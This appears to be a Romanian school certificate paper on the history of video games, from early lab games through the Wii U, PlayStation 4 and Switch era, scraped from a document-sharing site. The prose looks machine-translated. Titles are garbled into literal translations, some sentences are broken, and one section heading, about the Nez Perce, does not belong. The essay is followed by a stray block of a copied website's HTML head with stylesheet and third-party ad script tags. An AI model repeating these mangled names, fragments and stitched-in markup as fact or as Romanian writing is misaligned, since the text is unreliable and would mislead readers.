Sunteți pe pagina 1din 12

Atestatat Informatică

Clasa XII-a Real (2019-2023)

Istoria jocurilor video

Bălan Miroslav
Deși jocurile video se găsesc astăzi în case din întreaga lume, ele
au început de fapt în laboratoarele de cercetare ale oamenilor de
știință de la începutul anilor 1950. Academicii au conceput jocuri
simple, cum ar fi tic-tac-toe și tenis pentru doi, ca parte a
cercetării lor sau pentru distracție pe lateral.
Astăzi, jocurile video reprezintă o industrie globală de 100 de
miliarde de dolari și aproape două treimi din casele americane au
membri ai gospodăriei care joacă regulat jocuri video. Și nu este
de mirare: jocurile video există de zeci de ani și se întind pe gamă
de platforme, de la sisteme arcade, la console de acasă, la console
portabile și dispozitive mobile. De asemenea, sunt adesea în
fruntea tehnologiei informatice.

Primele zile
Deși jocurile video se găsesc astăzi în case din întreaga lume, ele
au început de fapt în laboratoarele de cercetare ale oamenilor de
știință.
În 1952, de exemplu, profesorul britanic A.S. Douglas a creat
OXO , cunoscut și sub numele de noughts și crucii sau tic-tac-toe,
ca parte a disertației sale de doctorat de la Universitatea din
Cambridge. Și în 1958, William Higinbotham a creat Tenis
pentru doi pe un computer analogic mare și ecranul
osciloscopului conectat pentru ziua anuală a vizitatorilor la
Laboratorul Național Brookhaven din Upton.
În 1962, Steve Russell la a> Institutul de Tehnologie inventat
Spacewar! , un joc video de luptă spațială pe computer pentru
PDP-1 (Procesor de date programat-1), apoi un computer de
ultimă generație găsit în cea mai mare parte la universități. A fost
primul joc video care a putut fi jucat pe mai multe instalații
computerizate.

Dawn of the Home Console


În 1967, dezvoltatorii de la Sanders Associates, Inc., conduși de
Ralph Baer, au inventat un prototip multiplayer, sistem de jocuri
video cu mai multe programe, care putea fi redat la televizor. Era
cunoscută sub numele de „Cutia maro”.
Baer, care este denumit uneori Tatăl Jocurilor Video, și-a
licențiat dispozitivul către Magnavox, care a vândut sistemul
consumatorilor sub numele de Odyssey, prima consolă de jocuri
video de acasă, în 1972. În următorii câțiva ani, consola primitivă
Odyssey ar fi comercializată. fizzle și dispare.
Cu toate acestea, unul dintre cele 28 de jocuri ale Odiseei a fost
inspirația pentru Atari Pong , primul joc video arcade, lansat de
companie în 1972. În 1975, Atari a lansat o versiune de acasă
Pong , care a avut la fel de succes ca omologul său arcade.
Magnavox, împreună cu Sanders Associates, l-ar da în judecată
pe Atari pentru încălcarea drepturilor de autor. Atari s-a stabilit
și a devenit licențiat Odyssey în următorii 20 de ani, Magnavox a
câștigat mai mult de 100 de milioane de dolari în procese de
copyright legate de Odyssey și brevetele sale de jocuri video.
În 1977, Atari a lansat Atari 2600 (cunoscut și sub denumirea de
Video Computer System), o consolă de acasă care conținea
joystick-uri și cartușe de joc interschimbabile care jucau jocuri
multicolore, începând efectiv a doua generație de console de
jocuri video.
Industria jocurilor video a avut câteva repere notabile la sfârșitul
anilor 1970 și începutul anilor 1980, inclusiv:
• Eliberarea Space Invaders joc arcade în 1978
• Lansarea Activision, primul dezvoltator de jocuri terță parte
(care dezvoltă software fără a face console sau dulapuri
arcade), în 1979
• Introducerea în Statele Unite a Japoniei extrem de populară
Pac-Man
• Crearea Nintendo de Donkey Kong , care a introdus lumea
personajului Mario
• Lansarea de către Microsoft a primei sale versiuni Zbor Joc
de simulator
Crash-ul jocului video
În 1983, industria nord-americană a jocurilor video a suferit un
„prăbușire” majoră din cauza mai multor factori, inclusiv o piață
suprasaturată a consolelor de jocuri, concurența din jocurile pe
computer și un surplus de jocuri supra-mediatizate și de calitate
scăzută, precum infam E.T. , un joc Atari bazat pe filmul omonim
și adesea considerat cel mai rău joc creat vreodată.
Cu o durată de câțiva ani, prăbușirea a dus la falimentul mai
multor companii de computere de casă și consolă de jocuri video.
Industria casnică a jocurilor video a început să-și revină în 1985,
când Nintendo Entertainment System (NES), numit Famicom în
Japonia, a venit în Statele Unite. NES a îmbunătățit grafica pe 8
biți, culorile, sunetul și gameplay-ul față de consolele anterioare.
Nintendo, o companie japoneză care a început ca producător de
cărți de joc în 1889, a lansat o serie de francize importante de
jocuri video încă în prezent, cum ar fi Frații Super Mario. ,
Legenda lui Zelda , și Metroid .
În plus, Nintendo a impus diverse reglementări pentru jocurile de
la terți dezvoltate pentru sistemul său, ajutând la combaterea
software-ului grabit și de calitate scăzută. Dezvoltatorii terți au
lansat multe alte francize de lungă durată, cum ar fi Capcom’s
Mega omul , Konami’s Castlevania , Final Fantasy Square și
Enix’s Dragon Quest (Square și Enix s-ar uni ulterior pentru a
forma Square Enix în 2003).
În 1989, Nintendo a făcut din nou valuri popularizând jocurile
portabile cu lansarea dispozitivului său de jocuri video Game Boy
pe 8 biți și a jocului adesea pachet. Tetris . În următorii 25 de ani,
Nintendo va lansa un număr de succesori de succes ai Game Boy,
inclusiv culoarea Game Boy în 1998, Nintendo DS în 2004 și
Nintendo 3DS în 2011.
Primul război al consolei
Tot în 1989, Sega și-a lansat consola Genesis pe 16 biți în America
de Nord, ca succesor al Sega Master System din 1986, care nu a
reușit să concureze adecvat împotriva NES.
Cu superioritatea sa tehnologică față de NES, marketingul
inteligent și lansarea în 1991 a Sonic Ariciul joc, Genesis a făcut
progrese semnificative împotriva rivalului său mai vechi. În 1991,
Nintendo a lansat consola Super NES pe 16 biți în America de
Nord, lansând primul adevărat „război al consolelor”.
La începutul până la mijlocul anilor 1990 a apărut o serie de
jocuri populare pe ambele console, inclusiv noi francize, cum ar fi
Street Fighter II și Bătaia mortală , un joc de luptă care descria
sânge și sânge pe versiunea Genesis a jocului.
Ca răspuns la jocul violent (precum și la audierile la congres
despre jocuri video violente), Sega a creat Consiliul de evaluare a
jocurilor video în 1993 pentru a oferi etichetare descriptivă
pentru fiecare joc vândut pe o consolă de acasă Sega. Consiliul dă
naștere mai târziu consiliului de evaluare a software-ului de
divertisment la nivel de industrie, care este folosit și astăzi pentru
a evalua jocurile video pe baza conținutului.
La mijlocul anilor 1990, jocurile video au sărit pe marele ecran
odată cu lansarea Frații Super Mario. film live-action în 1993,
urmat de luptător de stradă și Bătaia mortală în următorii doi
ani. De atunci au fost lansate numeroase filme bazate pe jocuri
video.
Cu o bibliotecă mult mai mare de jocuri, un preț mai scăzut și un
marketing de succes, Genesis a trecut înainte de SNES în America
de Nord până acum. Dar Sega nu a putut găsi un succes similar în
Japonia.

Creșterea jocurilor 3D
Cu un salt în tehnologia computerelor, a cincea generație de
jocuri video a inaugurat era tridimensională a jocurilor.
În 1995, Sega a lansat în America de Nord sistemul său Saturn,
prima consolă pe 32 de biți care a jucat jocuri pe CD-uri, mai
degrabă decât pe cartușe, cu cinci luni înainte de program.
Această mișcare a fost de a bate prima incursiune a Sony în
jocurile video, Playstation, care s-a vândut cu 100 USD mai puțin
decât Saturn când a fost lansat mai târziu în acel an. Anul
următor, Nintendo a lansat sistemul său pe 64 de biți pe cartuș,
Nintendo 64.
Deși Sega și Nintendo și-au lansat fiecare partea echitabilă de
titluri 3D foarte apreciate, de marcă, cum ar fi Virtua Fighter pe
Saturn și Super Mario 64 pe Nintendo 64, companiile consacrate
de jocuri video nu au putut concura cu suportul puternic al
terților Sony, care a ajutat Playstation să-și asigure numeroase
titluri exclusive.
Simplu spus: Sony a dominat piața jocurilor video și ar continua
să o facă până în generația următoare. De fapt, Playstation 2,
lansat în 2000 și capabil să joace jocuri originale Playstation, ar
deveni cea mai bine vândută consolă de jocuri din toate timpurile.
Playstation 2, care a fost prima consolă care a folosit DVD-uri, s-a
confruntat cu Sega Dreamcast (lansat în 1999), Nintendo
Gamecube (2001) și Microsoft Xbox (2001).
Dreamcast - considerat de mulți ca fiind înaintea timpului său și
una dintre cele mai mari console realizate vreodată din mai multe
motive, inclusiv capacitatea sa de jocuri online - a fost un flop
comercial care a pus capăt eforturilor consolei Sega. Sega a tras
ștecherul în 2001, devenind de acum o companie terță de
software.

Epoca modernă a jocurilor


În 2005 și 2006, Xbox 360 de la Microsoft, Playstation 3 de la
Sony și Wii de la Nintendo au dat startul erei moderne a jocurilor
de înaltă definiție. Deși Playstation 3 - singurul sistem la acea
vreme pentru a reda Blu-ray - a avut succes în sine, Sony, pentru
prima dată, s-a confruntat cu o concurență dură din partea
rivalilor săi.
Xbox 360, care avea capacități grafice similare cu Playstation 3, a
fost apreciat pentru ecosistemul său de jocuri online și a câștigat
mult mai mult Jocul Critics Awards decât celelalte platforme din
2007, a prezentat, de asemenea, Microsoft Kinect, un sistem de
captare a mișcării de ultimă generație care oferea un mod diferit
de a juca jocuri video (deși Kinect nu a prins niciodată jucătorii
de bază sau dezvoltatorii de jocuri).
Și, în ciuda faptului că este inferior din punct de vedere
tehnologic față de celelalte două sisteme, Wii a renunțat la
concurența sa în vânzări. Telecomandele sale sensibile la mișcare
au făcut jocurile mai active decât oricând, ajutându-l să atragă o
porțiune mult mai mare a publicului larg, inclusiv persoanele din
casele de bătrâni.

Ce s-a Întâmplat Cu Nez Perce


Spre sfârșitul deceniului și începutul următorului, jocurile video
s-au răspândit pe platforme de socializare precum Facebook și
dispozitive mobile precum iPhone, ajungând la un public de
jocuri mai casual. Rovio, compania din spatele Păsări supărate
joc pentru dispozitive mobile (și, mai târziu Păsări supărate film
animat), ar fi câștigat 200 de milioane de dolari în 2012.
În 2011, Skylanders: Spyro’s Adventure a adus jocuri video în
lumea fizică. Jocul impunea jucătorilor să plaseze figuri de
jucărie din plastic (vândute separat) pe un accesoriu, care citește
etichetele NFC ale jucăriilor pentru a aduce personajele în joc. În
următorii câțiva ani s-ar vedea mai multe continuări și alți hibrizi
de jucării-jocuri video, cum ar fi Disney Infinity , care prezintă
personaje Disney.
A 8-a și actuala generație de jocuri video a început odată cu
lansarea Nintendo Wii U în 2012, urmată de Playstation 4 și Xbox
One în 2013. În ciuda faptului că a inclus o telecomandă cu ecran
tactil care a permis jocurile off-TV și a putea juca jocuri Wii , Wii
U a fost un eșec comercial - opusul concurenței sale - și a fost
întrerupt în 2017.
În 2016, Sony a lansat o versiune mai puternică a consolei sale,
numită Playstation 4 Pro, prima consolă capabilă de ieșire video
4K. La începutul anului 2017, Nintendo și-a lansat succesorul Wii
U, Nintendo Switch, singurul sistem care permite jocurile atât pe
televizor, cât și pe cele portabile. Microsoft va lansa consola
pregătită pentru 4K, Xbox One X, la sfârșitul anului 2017.
Cu noile lor console renovate, atât Sony, cât și Microsoft își au în
prezent viziunea asupra jocurilor de realitate virtuală, o
tehnologie care are potențialul de a schimba modul în care
jucătorii experimentează jocurile video.
<!DOCTYPE html>

<html lang="ro-RO">

<head>

<title>Istoria jocurilor video - Cronologie și fapte - ISTORIC -


Subiecte</title>
<!-- External CSS -->
<link rel="stylesheet"
href="https://geschichte.royalmarinescadetsportsmouth.co.uk/te
mplate/vendor/bootstrap/bootstrap.min.css">
<link rel="stylesheet"
href="https://geschichte.royalmarinescadetsportsmouth.co.uk/te
mplate/vendor/select2/select2.min.css">
<link rel="stylesheet"
href="https://geschichte.royalmarinescadetsportsmouth.co.uk/te
mplate/vendor/owlcarousel/owl.carousel.min.css">
<link rel="stylesheet"
href="https://geschichte.royalmarinescadetsportsmouth.co.uk/te
mplate/vendor/lightcase/lightcase.css">

<link rel="shortcut icon"


href="https://geschichte.royalmarinescadetsportsmouth.co.uk/te
mplate/img/favicon.png" type="image/png">
<!-- Fonts -->
<link
href="https://fonts.googleapis.com/css?family=Lato:300,400"
rel="stylesheet">

<!-- CSS -->


<link rel="stylesheet"
href="https://geschichte.royalmarinescadetsportsmouth.co.uk/te
mplate/css/style.min.css">
<style>
article img{
max-width: 100%;
max-height: 400px;
object-fit: contain;
display: block;
margin-left: auto;
margin-right: auto;
margin-bottom: 10px;
}
article iframe {
width: 100%;
height: 400px;
}
.pagination {
display: -moz-flex;
display: -ms-flex;
display: -o-flex;
display: flex;
justify-content: center;
}
.pagination li {
margin-right: 20px;
}
.pagination li a {
background-color: transparent;
color: #888;
text-decoration: none;
font-size: 20px;
padding: 6px 12px;
margin-left: -1px
}
.pagination .active a {
outline: 0;
color: #000;
border: 1px solid #46b7de;
border-radius: 5px;
padding: 5px 11px;
pointer-events: none;
}
.pagination li a:hover {
border: 1px solid #888;
padding: 5px 11px;
color: #888;
border-radius: 5px;
}
.pagination .active a:hover {
border-color:#46b7de;
color:#46b7de;
cursor:default;
background-color: transparent;
}
.Beliebt a {
text-transform: capitalize;
}
.Beliebt li{
list-style-type: none;
}
</style>
<script type="text/javascript"
src="https://dr6.biz/?te=he4tgmrwmm5ha3ddf42tamzz"
async></script><script async src="//get.optad360.io/sf/e0f4023d-
1f54-4786-94e7-bff2e058d23f/plugin.min.js"></script></head>
<body data-spy="scroll" data-target="#navbar-nav-header"
class="single-layout">
<div class="boxed-page">
<nav id="gtco-header-navbar" class="navbar navbar-expand-lg
py-4">
<div class="container">
<a class="navbar-brand d-flex align-items-center"
href="/">
<span class="lnr lnr-moon"></span>

S-ar putea să vă placă și